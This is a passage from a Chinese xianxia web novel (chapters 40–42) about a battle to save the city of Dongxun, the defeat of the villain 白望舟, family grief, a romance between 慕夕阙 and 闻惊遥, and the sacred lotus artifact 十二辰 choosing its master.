她别过头,听着闻惊遥在身后召集修为高的弟子,他速度很快,到如今仍能理智,像极了闻承禺。 永远沉稳冷静,死亡逼到眼前也能理性分析利害。 不过半刻钟,闻惊遥便安顿好了所有人。 他看着背对他的母亲,唇抿了抿,末了说道:“阿娘,我去了。” 庄漪禾没说话,也未回头。 闻惊遥转身,和慕夕阙对视,两人带着弟子们一同跃上房檐,朝城外逼去。 迎面吹来的风森寒,从内城靠近外城,像是从世外桃源进到了残酷的战场,曾经的高阁飞檐被一场大火烧了大半,街巷内的尸身已成灰烬,偶然可见焦黑的骸骨七零八落。 刚出东浔内城,他们便看到将整个东浔主城围起来的鹤阶弟子们,他们身着统一的蓝衫,正在操纵不渡刀布阵。 以及悬立在正北城门的白望舟。 见到他们来,白望舟眉梢扬了扬,似是惊讶几个小辈这般有胆,竟敢冲出内城来以寡敌众。 慕夕阙冷着脸,提气纵身跃上,直接穿过闻家玉灵朝白望舟劈去,而闻惊遥紧随其后,旋刃攻向白望舟。 身后冲出的闻家精锐弟子们皆纵身跃上,斩向那些正在布阵的鹤阶弟子。 慕夕阙与闻惊遥招招带刃,打架颇狠辣,银剑和青剑一攻一守,默契十足,而白望舟应付也从容有序,纵使他前夜方被割断了脚筋,但毕竟是化神中境,对付两个区区元婴满境,且还经历过大战浑身是伤的小辈,若被吊着打岂不是太过丢人? 他一拂袖挥出毒药,而慕夕阙和闻惊遥早有应对,剑阵挡在身前,化去他的毒雾。 随后闻惊遥找准时机,冲出剑阵抬脚便踹向白望舟重伤的双腿,而慕夕阙也趁机从侧方攻去,旋身挥剑,趁白望舟吃痛之际攻向他的腰腹。 猝不及防被阴了两招,白望舟迅速后撤,冷脸看着他们,手中折扇飞出,再次逼上前来,这次下了十成的杀招。 慕夕阙和闻惊遥应付得略有些急促,两人需得时刻警惕不能被这人的刀刃划出任何一道伤口,他擅毒,若在此刻中毒怕是难活。 而虚空之上的闻家弟子也死伤惨重,几乎是以一敌十的状态,鹤阶弟子层出不穷,一个死了便有另一个顶上接着布阵,这阵再有半刻钟便能彻底布成。 人群最后,从慕夕阙出现的那一刻,燕如珩便迅速避身。 他负手而立,隐匿在难以察觉的地方,仰头望向虚空中那抹红影和一旁碍眼的青衣。 即使以重伤之躯迎敌,她的剑招仍旧锐利,剑身在虚空中引气,金色灵力环绕在那柄长剑周身,随着她每一招劈下的利剑而带出厉然的痕迹,剑气凶猛刚劲。 她总这般,永远不怕事,只要还有一口气就会拼命反击。 燕如珩负手而立,看着那抹红影厮杀,看她的剑招越发凶猛,看她的身姿苍劲有力,心下那颗平静的心又在狂跳。 看,她就是这般强悍,凶到十三州无人不知她的大名,这般凶,他总想看看她会不会也露出脆弱的神情,会不会依赖一个人,对他婉转笑着。 他仰慕她的强大,也痛恨她的强大。 白望舟的折扇自慕夕阙面门划过,她迅速后仰,被白望舟一掌打落,而闻惊遥却闪至她身后,单手撑住脊背,少年用力将她送了出去,自己也紧随其后攻向白望舟,慕夕阙趁白望舟应付闻惊遥之时,一脚踹向他的肩头。 燕如珩几乎要捏碎了骨节,那张温润如玉的面上也褪去了所有伪装出的温柔,阴森沉郁。 明明是从小一起长大的,甚至燕家和慕家来往更亲密,她却总和闻惊遥有种旁人都无法匹敌的默契,她知道闻惊遥的每一个招式,闻惊遥也知道她下一步想做什么。 两人各自都是当世绝顶之列,天纵奇才,若并肩而战更是可以撼天震地。 燕如珩怒极反笑,再强悍又怎样,阵法将成,东浔将覆灭,所有人都会死去,届时慕夕阙定是重伤。 他会将她带走藏起来,用点手段抹了她的记忆,日后十三州再不会有慕二小姐这个人,只会有燕家深居不出的少主夫人。 杀阵将成,不过负隅顽抗罢了。 闻惊遥被一掌拍在肩头,慕夕阙拽住他的手腕扯了回来,两人再次攻向白望舟,这次已经不顾自身性命了,只想着解决白望舟。 不渡刀悬立在虚空,这杀阵只差临门一脚便能成。 白望舟冷笑一声:“倒不如在城内安静等死呢。” 他借力绕开,迅速冲向虚空,凝聚灵力准备完成这阵法的最后一道。 慕夕阙瞳眸微缩,和闻惊遥一起冲上去,可两人都心知肚明,以他们二人拦不住白望舟,就算拦住了,这八极杀阵也只差那一步了。 东浔将要覆灭,这座城池终究是保不住。 慕夕阙咬牙,挥剑朝白望舟砍去,死也得拉他垫背—— 铃音震天。 那声音宛若从九重天外传来,如洪钟般钝响,身披青锈的古铃从东北侧裹挟着利风飞速闪来,一手可握的铃铛悬停在八极阵外。 一人纵身跃上虚空,藕粉色的衣裙被烈风吹得飒飒作响,满头金钗胡乱飞舞,她双手结印,低喝道:“镇铃!” 师家至宝镇铃宛若接受到讯号,铃音震天,鹤阶弟子只觉得识海在被利刃钻透,皆都捂住耳朵,七窍渗血。 而那小巧的铃铛以肉眼可见的速度,眨眼间化为直径有千丈的古铃,高悬于天的烈日被遮蔽,东浔主城再次陷入晦暗,可城内的众人仰头望去,却觉得如见天光。 白望舟瞳眸微颤,怒声厉喝:“师盈虚!” 他飞身便要提刀去砍了师盈虚,一人闪至他身前,闻惊遥拔剑便劈,牢牢堵住他的去路。 而白望舟的身后,慕夕阙也提剑追上,和闻惊遥一同缠住白望舟。 师家弟子们阻拦要攻向师盈虚的鹤阶弟子,万丈高空之上,师盈虚两手结印,操纵镇铃越变越大,直至有万顷重。 宛如小山的镇铃轰然压下,重重砸在即将聚成的八极阵上。 白望舟厉吼:“给我撑住杀阵!” 他隔空操纵不渡刀变大,那柄长刀与镇铃正面相撞,一方强势压下,一方负重反抗。 师盈虚咬牙,调动浑身灵力加注在镇铃上,看着浑身是伤的慕夕阙,那抹红影始终拦在白望舟面前,为她撑起足够布铃的空间。 师家弟子们随她一起来救援,便是将性命赌上了。 师盈虚眼底赤红,看着阵法下被毁掉的东浔外三城,脑海中想起的,是自己的爹娘。 温柔到毫无脾气的离蘅,以及看似严厉实则最是偏宠女儿的师听渊,明明一心向道,最是心善,却被鹤阶变成满手鲜血的祟种。 师盈虚眼泪涌出,怒声骂道:“鹤阶,我去你大爷的!” 镇铃带着万顷之重轰然压下,不渡刀自刀柄寸寸碎裂,艰难支撑阵法的鹤阶弟子听到自己骨头碎裂的声音,一个接一个吐血跪倒,而那声势浩大的镇铃以一己之力压下。 八极阵破碎。 东浔主城重见天光。 作者有话说:团战冲冲冲[撒花]《 》 40-45 第41章 第 41 章 认主 不渡刀碎裂造成的反冲让撑阵的鹤阶弟子吐血跪地, 而镇铃足以震碎人心肺的铃音仍未绝,钻透人的识海,彻心彻骨。 见不渡刀碎裂, 八极阵破碎,白望舟怒不可遏, 甚至想不起来护着鹤阶弟子, 折扇化为利刀朝慕夕阙砍去。 慕夕阙快速避开,闻惊遥紧随其后,绕至震怒的白望舟身后, 一剑砍了上去,正中此刻已失理智的白望舟的脊背。 师盈虚催动镇铃,铃音加重, 便是连白望舟这等化神境也免不得心肺重损, 他震怒看向师盈虚, 灵力泄洪般击向慕夕阙和闻惊遥, 将两个重伤的人两掌打落。 随后白望舟提刀便要砍向师盈虚。 师盈虚正在操纵镇铃, 根本腾不出手。 慕夕阙刚落地,瞧见后瞳眸一颤,心跳在那一刻漏了一拍, 调动灵力逆冲经脉从地面腾跃而上,速度快到极致。 “盈虚, 闪开, 快放手!” 慕夕阙奔向师盈虚,师家弟子们也不顾性命狂奔而去。 而师盈虚脸色一沉, 仍咬牙操纵镇铃镇压鹤阶弟子,镇铃五百年只能开这一次,这是重创鹤阶和不渡刀的好机会, 她绝不能在此刻停下。 白望舟的长刀即将劈在师盈虚身上时,一柄利刃从一侧击来,刀刃在虚空翻转划出了半圆的金色轨迹,簌簌利响。 那柄长刀砍断了白望舟执刀的右臂,鲜血迸溅,染红了他的眼睛。 趁他吃痛且看不清之时,慕夕阙手中长剑翻转,她反手挥剑,清光伴着泼洒的霞光。 剑气纵横,割喉而过。 慕夕阙悬立在虚空,一脚将白望舟踹下万丈高空。 她垂眸看去,地面被砸出一方半圆深坑,随着他的砸落,房屋燃烧后的灰烬荡起,洋洋洒洒落在那深坑内的尸身上,白望舟仍睁着眼,眸中的情绪定格在死亡的最后一刻,惊恐又不敢置信。 闻惊遥也已赶至她身旁,两人提剑一左一右护在师盈虚周围。 慕夕阙看向远处,上百艘灵舟悬停在空中,蔺九尘站在护栏处,抬手召回方才砍断了白望舟手臂的长刀。 朝蕴,姜榆,随泱都在,他们立在最前方的灵舟上,垂眸看着她。 慕夕阙仰头看着他们,这两日来,第一次* 真心实意笑了出来。 她擦擦脸上的血,眸光明亮,纵使身上仍在滴血,纵使疲累伤痛,却又觉得,一切都值了。 师盈虚加注灵力操纵镇铃,将不渡刀彻底碎裂,鹤阶弟子们全数跪倒在地,被压得骨头碎了大半。 在最后一丝灵力耗尽后,师家至宝镇铃陡然缩成普通的摇铃大小,而师盈虚双目闭上,朝身后跌去。 慕夕阙上前,将她接在怀里。 她看着师盈虚,记忆里的师大小姐一直是个爱玩爱闹、胸无点墨的纨绔,打架都是慕夕阙上,师大小姐往往躲在一旁为她加油助威。 可如今失去父母庇护,她似乎一夜长大。 这世道总这般,迫人成长,磋磨少年人的意气风发,将其变得沉稳冷静。 东浔城外,林影之中。 燕如珩笑了下,看着高空中的红影,他看了许久,直到狂跳的心头渐渐平息。 随后他转身离开- 闻家主宅内,庄漪禾退避了所有无关之人,匆匆走进议事堂。 她推开门,偌大前厅坐满了人。 朝蕴,蔺九尘,姜榆,以及慕夕阙和闻惊遥也在,而令庄漪禾如此提心的人,并不是他们中的任何一个。 庄漪禾看向一旁角落里白衣裹身的慕从晚,外界只知慕家有位深居不出的大小姐,自小体弱,却不知这大小姐叫什么名字,为何不出门。 但他们这些世家掌权者自是有所耳闻,庄漪禾虽不知慕大小姐叫什么名字,却知晓她中了秽毒,是被朝蕴生生切断灵根才变成凡人的。 “阿蕴!”庄漪禾匆匆走过去,“鹤阶命令禁止慕大小姐出山,若知晓她出来了,定不会再放过她!” “便是我们不出山,鹤阶也不会放过小晚的。”朝蕴眉眼淡淡,放下茶盏,抬手指向慕从晚,“我的长女,慕从晚。” 慕从晚颔首,以示礼仪。 她和慕夕阙坐在一起,两人气质截然不同,若非眉宇间有那么几分相似,怕也瞧不出来是一家人。 朝蕴看着庄漪禾,瞧见她根本掩不住的疲惫,忽然叹了一声,说道:“阿禾,闻家主的事我已知晓,他是想以他之死引出剩下的闻家叛贼,召出青鸾,你……莫要伤心太久,这闻家还等着你呢。” 许多年前朝蕴也曾经历同样的事,她与慕峥并非联姻,两人互通情愫,成婚多年仍如胶似漆,慕峥的死几乎是剜去了她半颗心,一连昏厥几日。 可几日后醒来,她必须提刀逼退蠢蠢欲动的鹤阶,护住身后的琼筵山。 “我知道。”庄漪禾垂眸,声音低了些,“我自是知道他的用意。” 她寻了个位置坐下,瞧着空落落的,也不似方才那般激动了。 闻惊遥看向慕夕阙,自打慕从晚来了,她就一直盯着慕从晚瞧,柳眉微拧,似乎也想不明白慕从晚竟会跟着来。 外人传慕夕阙与慕从晚关系不善,慕夕阙提及长姐时也是语调不善,看似传言为真,可闻惊遥看得出来,这是一个少女幼稚的伪装,慕夕阙实际最护长姐,谁敢说慕从晚是个没有灵根的废物,她下一刻便能拔剑揍人。 慕从晚一来这里,慕夕阙便挨着她坐,连伤都顾不得疗愈,分明就是相护之态,恐有忌惮秽毒者对慕从晚下手。 但屋内在场的人对慕从晚并无坏心,庄漪禾提前便撤走了旁人。 庄漪禾看向慕从晚,说道:“慕大……小晚,我应当可以唤你一声小名,你的意思是,城内如今还有秽毒?” “嗯。”慕从晚颔首,正身端坐,姿态不卑不亢,“不少,外三城东侧,西侧和北侧。” 庄漪禾脸色瞬时便冷了下来,握紧扶手:“果然没猜错,订婚宴上的变故怕也是鹤阶提前算计好的,应是要谋害慕家,可不知为何最后秽毒到了鹤阶弟子身上,害人不成反吃一堑。” 说到这里她顿了顿,皱眉道:“只是不知,背后相助慕家的人是哪位?” 蔺九尘不动声色看了眼慕夕阙,这位慕二小姐挨着慕从晚坐,觉察到他的目光,抬眸看过来,对他摇了摇头。 蔺九尘收回目光,装作无事发生。 朝蕴说道:“兴许中秽毒者对秽毒天生便有感应,小晚可觉察出秽毒所在之处,因此我们带她前来,只是越靠近秽毒便极易被其缠上,如今我们不能贸然前去,得寻个对策。” 她叹了口气,看向众人:“如今那些秽毒还老实待在禁制内,鹤阶似乎还未来得及打开禁制便被咱们镇压了,千机宗跑了,鹤阶弟子重伤,被关押在外三城,另外几个被鹤阶召来的家族听闻此事,为保自身中途折返,东浔主城的围困已解。” 众人沉默,围困虽解,但隐患尚存。 庄漪禾和朝蕴对视,明白了她的意思。 “我这就让弟子们撤离百姓。”庄漪禾站起身,看向众人,“各位冒死来帮助东浔主城,大恩大德,东浔百姓定铭记于心。” 她俯身,弯下了素来挺直的腰。 朝蕴起身扶她:“你说什么话呢,东浔与淞溪如今为一体,何况那可是秽毒,修士有除祟之责,如今小晚也来了,我们定会想办法帮东浔度过这一劫。” 慕夕阙垂眸,看向慕从晚搭在膝上的手,常见不出门,她的肤色几近于剔透的白,手背上的青紫血管格外明晰,瘦到仿佛一阵疾风吹过,便会将她吹走一般。 明明手无缚鸡之力,前世竟能拔出她的剑自刎,喷溅在慕夕阙脸上的血,让她做了多年的噩梦。 那是第一个死在她面前的挚亲。 垂下的手被人握住,慕夕阙愣了下,搭在她的手背上的,是一只苍白瘦削的手,体温彻骨的凉。 慕从晚握住她的手,轻轻晃了晃,悄悄说:“三年没见,你长高了。” 慕夕阙别过头,嗤了一声:“废话,我现在都比你高了,你怎么还是这么瘦,跟个柴火一般,慕家缺你吃的了?” 慕从晚闷闷笑了下,却仍握着她的手。 这是慕夕阙第一次没有挣开她的手。 以往姐妹两个见面,慕二小姐都是被朝蕴压着来陪慕从晚过节的,慕夕阙要么就是不说话,要么说话呛人,朝蕴一凶她,她扭头就走,此后几年都不来。 两个人上次见面,还是三年前,慕夕阙太过冷淡,被朝蕴凶了一顿,她闹了脾气,这三年无论朝蕴说什么,死活不肯再去慕从晚的小楼里,好似格外抗拒这个姐姐。 慕夕阙年少时候向挚亲发了许多脾气,到最后想要道歉,回头一看,无人能听了。 她垂下眼睫,看着慕从晚搭在她手背上的手,那般瘦,那般苍白。 这一切都是拜鹤阶所赐。 她怎么可能不恨? 三刻钟后,朝蕴带着慕从晚去了厢房,她不能常露面,身子羸弱每隔一段时间便得用药。 蔺九尘和姜榆去招呼慕家弟子跟随闻家弟子撤离城内百姓,以免遭秽毒侵蚀。 闻惊遥被庄漪禾叫走,走前他看了眼慕夕阙,可她并未看他,而是低头不知在想什么。 她总有许多心事不愿告知旁人。 闻惊遥垂下眼睫默了瞬,在庄漪禾又一次叫他之时,他才动了动,收回目光,跟着庄漪禾离开。 慕夕阙孤身坐在议事堂内,等人都走干净,她忽然捂住脸,长长叹了一口气。 身子弯曲,满身疲累。 她听到叮叮咚咚的金饰碰撞声,知道是谁,所以连头都没抬一下。 随泱走进来,连素来黑沉冷飕的议事堂似乎都亮堂了些。 他那满身金饰格外晃眼,慕夕阙更是不愿抬眼了。 随泱坐在慕夕阙对面,满脸不正经地笑:“慕二小姐这身上一处囫囵地都没了,要换我受这么一身伤,早躺榻上鬼哭狼嚎了,此等骨气简直是女侠中的女侠,随某甚是服气。” 慕夕阙放下手,笑了一声。 他可有骨气多了。 上辈子临死前都被砍成筛子了,也没哭一下,最后送她走的时候还能吐着血笑出来。 随泱笑嘻嘻看着她,又掏出那柄用来装风雅的折扇装模作样地扇风,说道:“对嘛,不要总是摆着脸,你长这么好看,笑笑更好看,自己开心,别人瞧见你这张脸也开心。” 慕夕阙白了他一眼,问道:“有话快说。” 随泱“啧”了一声,折扇指了指慕夕阙:“你看看你,真没礼貌——不对,这叫直爽。” 见慕夕阙看过来,他未说完的话话锋一转,换了个说法。 慕夕阙看着他,眉梢微挑:“你到底有何事?” 随泱笑着说道:“我听闻撤离百姓后,你们要去除秽毒了,鹤阶禁制是统一开启的,届时三处地方的秽毒都会倾巢而出,玉灵拦不住秽毒,为防秽毒逃窜出东浔主城,你们需要派人吸引秽毒,聚集在一处,届时你用十二辰布阵封锁它们,等日后带去祭墟。” 慕夕阙冷脸看着他。 随泱摇摇折扇,说道:“秽毒会追着人走,如果我没猜错,派去引秽毒入阵的人是蔺九尘,闻惊遥,以及你,但你似乎还得布阵。” 他顿了顿,忽然笑着凑近:“我年纪这么大了,你就让让我吧,我替你去,你安心布阵。” 慕夕阙面无表情:“不行。” 随泱眼眸一瞪:“你不会真看上我了,才不舍得我去吧?” 慕夕阙仍冷着脸,一言不发。 随泱见玩笑也没逗笑她,又叹了叹气,双手一摊装无赖模样:“你这倔葫芦,我都化神境了,我说去就去,说定了,你拦不住我的。” 他站起身,摆摆手往外走:“秽毒而已,撑死胆大的,吓死胆小的,加上我,你们胜算大多了。” 慕夕阙看他离开,随泱的背影仍旧夺目,他总穿一身金,若不是仗着一身修为,怕不知道被抢多少回了。 随泱从来没怕过事,慕夕阙一直都知晓。 她有两位兄长,蔺九尘在淞溪陪她长大,随泱又带她在海外仙岛学了许多保命的东西。 她有许多挚友,挚亲,如今都好好活着。 无论前路再难,总有一些人是能撑着她走下去的- 慕夕阙回到画墨阁,原先被安置在寝殿的人不见了。 她看着空落落的床榻,默了瞬,随后转身出门,朝某处走去。 当靠近那里,隔着十几丈远,慕夕阙瞧见一个身着粉裙的女子席地坐在两个竹架前面,低着头,恍若睡着了般。 慕夕阙走过去,在她身侧坐下。 两人安静许多,余霞的光泼洒下来,照在她们身上,彼此都未说话,静谧到令人恐慌。 过了一会儿,慕夕阙开口:“对不起。” 师盈虚并未接话,她盘腿坐着,始终低头。 慕夕阙默了会儿,觉得喉口堵得难受,她张了张嘴,灌进去的空气都冷得森寒,像在切割她的喉咙,她从未觉得有些话这般难说,可她还是得说。 “……对不起,盈虚。”慕夕阙闭上眼,“师家主的头颅是我斩的,离夫人是万初长老斩杀的。” 她低下头,小声说:“对不起。” 师盈虚安静了很久。 慕夕阙无法为自己辩解,也没办法求她的原谅,师盈虚生气是应该的,与她断交也是正常的。 ……可她不想失去师盈虚,这是上辈子到死都未放弃过她的朋友,是背着她爬了几座山将她送去海外仙岛的挚友。 “盈虚,真的对不起……”慕夕阙再次道歉,苍白又无力。 可这次,师盈虚没有再沉默。 她哑着声音说:“为什么道歉的是你?” 慕夕阙搭在膝上的手蜷起,手指在抖。 师盈虚抬起头,用衣袖擦去脸上的泪,看着面前的两具尸身,皆被断了首。 “你怎么会有错呢?”师盈虚声音哽咽,狠狠擦擦眼泪,又再说了一遍,“我们都没错,我爹娘没错,我没错,你也没错啊。” “错的是心术不正之人,是为鬼为蜮之人,是泯灭良知、利欲熏心之人,是鹤阶,是那些背德败行的世家,怎么会是我们呢,怎么会是你呢?” 师盈虚看着自己死去的爹娘,看着远处一个个担架上摞放的尸身,哽声道:“夕阙,我只是不理解,为什么有人能坏成这样,为了一己私欲谋害这么多无辜的人?” 她捂着脸啜泣哭着,慕夕阙并未说话,安静陪她。 一刻钟后,师盈虚哭声渐小。 慕夕阙终于敢抬头看离蘅和师听渊的尸身,她说道:“盈虚,你爹娘是因为看见鹤阶取秽毒,他们假意加入鹤阶,私下妄图书信揭发才招致杀害的,以师家主和离夫人的谨慎,不与你说是想保全你,但定不会没有准备。” 师盈虚止住哭泣,毫不在乎地用袖子擦去泪痕,冷着脸道:“我爹娘应留有证据,我会想办法找的。” 慕夕阙看着她,师盈虚应当哭了许久,眼睛红肿,脸上泪痕早已干涸,毫无世家小姐的形象,往日不正经的模样也褪去了,她的眼里像是有团火。 前世回去师家的那两人早已不是师盈虚的爹娘,是鹤阶安插的眼线,那她的身边还有可信之人吗? 岂不是日日与豺狼相伴?- 夜幕落下后,主城百姓已全数撤去附近的村镇郡县,弟子们也被庄漪禾遣走护送百姓,慕家弟子被朝蕴遣回淞溪,镇守琼筵山,以防鹤阶忽然来袭。 慕夕阙刚上好药,闻惊遥便来了。 他站在院内,伤势应已处理好,脸色瞧着好了不少。 慕夕阙走过去,仰头看他,笑盈盈说道:“庄夫人喊你去做什么了?” “遣散百姓离开,找了下东浔主城的舆图,以及差遣医师为我疗愈。”闻惊遥颇为老实地一桩桩说出来,看着慕夕阙问,“夕阙,你疗过伤了吗? 慕夕阙点点头:“嗯,我阿娘带的也有闻家的医师。” 闻惊遥看着她,这两日受伤太多,纵使疗过伤,她的脸色仍旧不好,比先前憔悴多了。 他忽然俯身,将她抱进怀里,鼻尖抵着她的颈窝,小声说道:“对不起,我总让你受伤。” 慕夕阙闷闷笑了两声:“闻少主说这话什么意思,你不也受伤了?” “我受伤没关系的,但你受伤,我很心疼。”闻惊遥并不觉得自己说的是情话,这些在旁人说话稍显滑头的话,他却总能板板正正、认真专注地说出口,不会让人怀疑他的话。 慕夕阙被他搂在怀里,闻着他身上略显苦涩的草药香,她恍惚间想到,之前闻惊遥来发疯的时候,也是这般说的。 她受伤,他很心疼。 这两日发生事情太多了,她都来不及思索,那日闻惊遥是否怀疑她了,否则那晚为何那般不正常,情绪失控,说一些乱七八糟的话,赶都赶不走,愣是赖在她这里睡了一晚。 可转念一想,若闻惊遥确认是她,亲眼见她杀人,手上握着那么多条人命,以他这唯律是从的性子,又怎么可能会放她一马? 闻惊遥可不会顾及私情,他最是心狠,眼里只有条规律法,前世她就领教过了。 慕夕阙面无表情,任由闻惊遥抱着。 他安安静静抱了一小会儿,随后直起身,捧住她的脸,认真专注看着她,看她的柳眉,长睫,鼻尖和红唇,抬手替她拂开微乱的鬓发。 闻惊遥垂首,亲亲慕夕阙的额头,是轻到几近缥缈的吻,又落在她翘动的长睫,往下婉转,落在唇上。 亲亲啄啄,像在撒娇般。 慕夕阙别过头,说道:“你近来怎么这么黏人且没规矩,想亲就亲,想抱就抱,这可是在闻家。” 闻惊遥偏头,将吻落在她的唇角:“你说的,你不喜欢我克制守礼,那我改,好吗?” 慕夕阙眉心微动,侧过脸看他:“你竟然听我的话,家规不守了?” 闻惊遥搂着她的腰身,略一提,将她单手抱起坐在院里的石桌上,这般她便不用再仰头。 他偏头啄吻她的唇,细密的亲吻中,他小声说:“夕阙,我听你的话,你想我是什么样子,我便是什么样子。” 她不想他当这个冷静克制永远清醒的闻家少主,他知晓,也照做。 “你做什么都可以的。”闻惊遥吮着她的红唇,两人齿关相碰,他捧着她的脸,看她闭上的眼和浓密的长睫,在亲吻空隙中,说出他自己的心意。 “你对我做什么都可以的,但不要离开,在我活着的时候,在我对你有用的时候,不要离开我。” 闻惊遥闭上眼,黏人又用力地吻她的唇,她最先开始的亲吻如打开了他心底压抑了多年的欲壑,一次沦陷,再也无法回头。 这些时日发生的事情几乎要将他守了十几年的原则和清规都一一击碎,他失去父亲,也没能守好这座城,连她也未保护好。 他始终是没有安全感的,连与她分开一会儿都觉得心底恐慌,要靠更多亲密的接触来填平心底那处空洞。 慕夕阙觉得唇舌麻木,被他亲了太久,她推了推他,见他还在亲,她又恼火了,咬了他一口。 血腥味在唇齿间蔓延,闻惊遥停顿了下,慕夕阙借机推开他。 她抬手擦擦唇上的血,又看向闻惊遥的唇,少年的唇角被她咬破。 “又咬我。”慕夕阙皱眉,“你是小狗吗,总爱咬人。” 闻惊遥凑上来,亲亲她的侧脸:“抱歉,我没控制住力道。” 他试探性啄啄她的唇角,舔去她唇上的血,小声说道:“我太喜欢你了,夕阙,我好喜欢你。” 喜欢到她越是靠近,他便越是没办法清醒,纵使这吻是裹了糖衣的砒霜,他也能心甘情愿咽下,忽略里面的毒药,只记住它带来的甜。 慕夕阙没说话,揉揉被亲肿的唇,抬手蕴出灵力平息红肿,她待会儿还得见人。 闻惊遥看着她,不确定她是不是还在生气,他专注看她,又说了声:“抱歉,夕阙,要不你咬回来。” 他是真的很认真在说这句话,也由心觉得这是个好方法,他咬疼了她,那么她咬回来也是应该的。 慕夕阙有时觉得,闻惊遥整个人有种平静的疯感,脑回路异于常人。 她没好气地回了一句:“想得美,你起开。” 她发火了,闻惊遥默了瞬,觉得自己再开口应当会惹她更气,他这次听话退后了一步。 慕夕阙坐在石桌上,待红肿的唇恢复正常后,她跳下石桌,看了闻惊遥一眼,随后朝外走。 “该办正事了,十二辰待会儿会认我为主,届时你和我师兄,以及随泱去引来秽毒。” 闻惊遥跟在她身后,应了声:“你放心。” 他看着慕夕阙的背影,她的腰背笔直,换了身金衣,那身衣服下应是横亘的伤和裹了满身的绷带,可纵使伤成这样,她的腰背仍旧不屈。 “夕阙。”闻惊遥喊住她。 慕夕阙停下,并未回头。 闻惊遥问道:“两大神器历任之主便没有活过两百岁的,使用神力,是否有代价,因此朝家主不允十二辰认你为主。” 以他的聪慧,猜出这些不难,慕夕阙知晓。 她转身看着闻惊遥,果断承认:“是,使用十二辰会折损寿数,天罡篆也同样如此,你却仍要去夺天罡篆吗,还是说要为了保全我的性命,阻拦十二辰认我?” 两人隔着一步对视,闻惊遥单手执剑,单薄的青衫料峭。 他看着她,末了走近一步,拉近两人距离,说道:“我说过的,生死虽大,情意更重,修士伏节死义,殉道护民,没什么不可以,我不会拦你,你也不会拦我,对吗?” 闻惊遥低头,在她唇上吻了下。 “没关系的,只有两百年也够了,能与你在一起,每一日对我来说都是无价之物。” 慕夕阙弯起眼眸,点点头说道:“好。” 她转身离开,眸中情绪并无波动。 到了议事堂前,朝蕴已经带人等在了那里。 慕夕阙走过去,朝蕴手托木盒等着她,两人对视,强撑稳重的朝家主还是退缩了,将木盒往自己的方向退了些。 可比她的动作更快的,是慕夕阙的手。 她拿过木盒,在朝蕴欲言又止的目光中,说道:“阿娘,早晚的事。” 如今院内的人都是她熟悉的人,朝蕴,蔺九尘,姜榆,师盈虚,随泱都在。 慕夕阙看到闻惊遥执剑站在拱门处,那双眼眸专注看着她,如沉水般寂静。 十三州除了慕家嫡传,无人知晓十二辰是何物,每次去镇压祭墟都是两位神器之主单独前去,且各自镇压一方。 如今似乎也没有瞒的必要了,待会儿她要在他们面前用十二辰。 慕夕阙打开木盒,金光耀眼夺目,纯净强大的灵压顷刻间溢出,照亮了整个闻家主宅,亮如白昼。 众人抬眸,悬立在虚空之中的,是一朵圣洁的…… 莲花。 花瓣薄如蝉翼,鎏金光泽在每一片嫩粉的花瓣中游走,那朵花飞至虚空旋绕,周身的金光碎成千万光点,它撕破黑暗,是整个十三州的希望,是万年前除祟镇秽的圣物,是天神赐予世间的福祉。 传闻能掌四时流转,阴阳轮回,敛骨吹魂的宝物…… 竟是一朵莲花。 而万里之外,被镇压在火焰中奄奄一息的天罡篆,疯了般挣扎起来。 端坐在它身前的黑衣男子睁开了眼,长睫如羽,苍灰色的眼睛宛如洞窟,他看着天罡篆,唇弯了弯。 随后他站起身,负手站在门前,望向万里之外的东浔主城。 “果然,朝蕴让十二辰认了她。” 作者有话说:十二辰就是咱们角色卡上,小慕手里拿着的那朵莲花呀,也叫荷花[撒花] 第42章 第 42 章 险境 当一枚莲花纹路隐入慕夕阙的额头, 金光最后消失不见,足以在十三州掀起惊风骇浪的十二辰安静落在慕夕阙的掌心中。 朝蕴别过头,呼吸颤抖, 她似是不忍再看,转身走向院角, 那里站着庄漪禾。 慕夕阙看着朝蕴离开, 重活一世,她也能明白朝蕴的无奈和不易,年少时候对挚亲撒的气, 在那百年里令她追悔莫及,足以将她所有的年轻气盛尽数磋磨。 她低下头,看着掌心中的十二辰, 若非它的花瓣中有流过的金光, 这瞧着便像极了一朵普通的莲花, 想必鹤阶也想不到, 十二辰竟会是朵莲花。 慕夕阙抬眸看过去, 说道:“出发吧,我阿姐能感知到秽毒所在位置,需借东浔主城舆图一用。” 庄漪禾挥手, 从袖中飞出一卷用灵力虚化成的卷帛,变为长二十丈, 宽十丈主城舆图, 八大街横纵交错,这舆图格外清晰, 连一家糕点铺子都记录在册。 慕从晚走上前,仔细看着舆图,末了她提笔圈了三个地方。 外三城东街闻家学宫, 西街闻家弟子堂,北街闻家书斋。 庄漪禾脸色阴沉:“这些地方都是闻家弟子所在处,鹤阶竟半分不收敛,从上笼络长老,从下妄图残害闻家弟子。” 她并未被怒气冲昏头脑,待看到舆图标注之处后,便已将两枚闻家玉符递了出去。 “随公子,蔺公子,闻家弟子所在处有闻家的禁制,你们二人未必能进得去,带上闻家玉符,可直行东浔主城。” 随泱和蔺九尘接过,朝庄漪禾颔首:“有劳庄夫人。” 庄漪禾叹了声:“抱歉,此为东浔之难,是我东浔过去疏忽,还连累各位。” 她不是多愁善感之人,庄漪禾瞧着温温柔柔,实则自小武断,说罢便转身走向闻惊遥,她仰头看着这个越发像他父亲的孩子,抬手替他拍去肩头落下的枯叶。 庄漪禾什么都没说,转身走向角落,未有临行前的叮嘱,也并未有多么慨然的话。 闻惊遥也沉默不语。 院里气氛不高,随泱左右一瞥,见慕家的人不说话,闻家也哑巴,他又掏出那柄用来装风雅的折扇,镶金戴玉的折扇打开。 “各位,一个个哭丧着脸,士气不振,太让人没有干劲了。” 随泱声音带笑,即使说的是这般严肃的事情,也仍旧没有半分正经,“一个秽毒而已,看谁跑得过谁了。” 他走出去,折扇在头顶挥了挥,扬声说道:“我去北侧闻家书斋,剩下两个你们自己选吧。” 蔺九尘默了瞬,说道:“我去东侧学宫吧。” 闻惊遥沉默颔首,那他便要去西侧闻家弟子堂了。 蔺九尘和随泱一同走出去,姜榆紧紧跟在蔺九尘身旁,一股脑将自己提前画好的符篆都塞给蔺九尘。 “辟邪的,提速的,护体的……”她一个个介绍,见蔺九尘状似无奈,又立马瞪眼,“你别不信,总归能用上的!” 姜榆擅阵术和篆术,连画好的符篆都准备了三份,又给了闻惊遥和随泱各自一份。 趁姜榆去忙的空隙,蔺九尘走向慕夕阙,低声问道:“你之前不是有能趋避秽毒的符篆吗,彼时便是用那篆术保我躲过了鹤阶的陷害,为何这次不用?” 